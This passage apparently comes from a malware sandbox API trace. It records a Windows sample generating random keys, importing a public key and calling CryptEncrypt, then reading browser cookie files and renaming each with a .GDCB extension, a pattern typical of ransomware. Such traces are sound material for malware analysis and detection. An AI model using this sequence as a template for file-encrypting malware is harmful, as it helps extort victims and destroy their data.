dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x3690148) returned 1 [0187.624] CryptGetKeyParam (in: hKey=0x3690148, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0187.624] CryptEncrypt (in: hKey=0x3690148, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0187.624] GetLastError () returned 0x0 [0187.624] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0187.624] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\23JC2UTD.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\23jc2utd.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0187.627] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0187.628] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0187.629] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x5c, lpOverlapped=0x0) returned 1 [0187.638] VirtualAlloc (lpAddress=0x0, dwSize=0x60, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0187.642] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\23JC2UTD.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\23jc2utd.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\23JC2UTD.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\23jc2utd.txt.gdcb")) returned 1 [0187.649] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4540) returned 1 [0187.651] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0187.652] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0187.652] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0187.652] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0187.652] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0187.653] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0187.654] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0187.654] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0187.654] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0187.654] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4540) returned 1 [0187.657] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f7ff58) returned 1 [0187.657] CryptGetKeyParam (in: hKey=0x4f7ff58, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0187.657] CryptEncrypt (in: hKey=0x4f7ff58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0187.657] GetLastError () returned 0x0 [0187.657] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0187.657] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0187.659] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5035e10) returned 1 [0187.659] CryptGetKeyParam (in: hKey=0x5035e10, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0187.659] CryptEncrypt (in: hKey=0x5035e10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0187.660] GetLastError () returned 0x0 [0187.660] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0187.660] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\2EQ4E2OJ.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\2eq4e2oj.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0187.662] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0187.663] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0187.664] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0xa9, lpOverlapped=0x0) returned 1 [0187.673] VirtualAlloc (lpAddress=0x0, dwSize=0xb0, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0187.678] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\2EQ4E2OJ.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\2eq4e2oj.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\2EQ4E2OJ.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\2eq4e2oj.txt.gdcb")) returned 1 [0187.699] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0187.700] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0187.701] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0187.701] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0187.701] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0187.701] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0187.702] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0187.703] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0187.703] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0187.703] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0187.703] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0187.706] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5035c10) returned 1 [0187.706] CryptGetKeyParam (in: hKey=0x5035c10, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0187.706] CryptEncrypt (in: hKey=0x5035c10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0187.706] GetLastError () returned 0x0 [0187.706] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0187.706] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0187.708] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5035cd0) returned 1 [0187.708] CryptGetKeyParam (in: hKey=0x5035cd0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0187.708] CryptEncrypt (in: hKey=0x5035cd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0187.708] GetLastError () returned 0x0 [0187.708] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0187.708] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\2HYILE1O.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\2hyile1o.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0187.711] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0187.712] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0187.713] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x2f9, lpOverlapped=0x0) returned 1 [0187.722] VirtualAlloc (lpAddress=0x0, dwSize=0x300, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0187.727] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\2HYILE1O.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\2hyile1o.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\2HYILE1O.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\2hyile1o.txt.gdcb")) returned 1 [0187.733] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0187.735] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0187.736] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0187.736] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0187.736] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0187.736] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0187.737] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0187.738] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0187.738] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0187.738] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0187.738] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0187.741] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5035950) returned 1 [0187.741] CryptGetKeyParam (in: hKey=0x5035950, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0187.741] CryptEncrypt (in: hKey=0x5035950, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0187.741] GetLastError () returned 0x0 [0187.741] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0187.741] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0187.744] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5035e50) returned 1 [0187.744] CryptGetKeyParam (in: hKey=0x5035e50, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0187.744] CryptEncrypt (in: hKey=0x5035e50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0187.745] GetLastError () returned 0x0 [0187.745] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0187.745] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\3RW4K76X.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\3rw4k76x.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0187.747] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0187.748] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0187.750] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x51, lpOverlapped=0x0) returned 1 [0187.758] VirtualAlloc (lpAddress=0x0, dwSize=0x60, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0187.763] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\3RW4K76X.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\3rw4k76x.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\3RW4K76X.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\3rw4k76x.txt.gdcb")) returned 1 [0187.769] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0187.771] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0187.772] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0187.772] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0187.772] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0187.772] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0187.773] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0187.774] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0187.774] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0187.774] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0187.774] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0187.777] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5035ad0) returned 1 [0187.777] CryptGetKeyParam (in: hKey=0x5035ad0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0187.777] CryptEncrypt (in: hKey=0x5035ad0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0187.777] GetLastError () returned 0x0 [0187.777] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0187.777] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0187.781] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5035fd0) returned 1 [0187.781] CryptGetKeyParam (in: hKey=0x5035fd0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0187.781] CryptEncrypt (in: hKey=0x5035fd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0187.781] GetLastError () returned 0x0 [0187.781] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0187.781] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\3VVSZ2CO.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\3vvsz2co.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0187.783] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0187.785] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0187.785] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x81, lpOverlapped=0x0) returned 1 [0187.795] VirtualAlloc (lpAddress=0x0, dwSize=0x90, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0187.799] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\3VVSZ2CO.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\3vvsz2co.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\3VVSZ2CO.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\3vvsz2co.txt.gdcb")) returned 1 [0187.806] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4540) returned 1 [0187.807] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0187.808] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0187.808] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0187.808] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0187.809] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0187.810] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0187.811] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0187.811] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0187.811] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0187.811] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4540) returned 1 [0187.813] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5035c90) returned 1 [0187.813] CryptGetKeyParam (in: hKey=0x5035c90, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0187.813] CryptEncrypt (in: hKey=0x5035c90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0187.813] GetLastError () returned 0x0 [0187.813] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0187.813] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0187.815] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5035e90) returned 1 [0187.815] CryptGetKeyParam (in: hKey=0x5035e90, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0187.815] CryptEncrypt (in: hKey=0x5035e90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0187.816] GetLastError () returned 0x0 [0187.816] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0187.816] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\4MN240WN.txt" 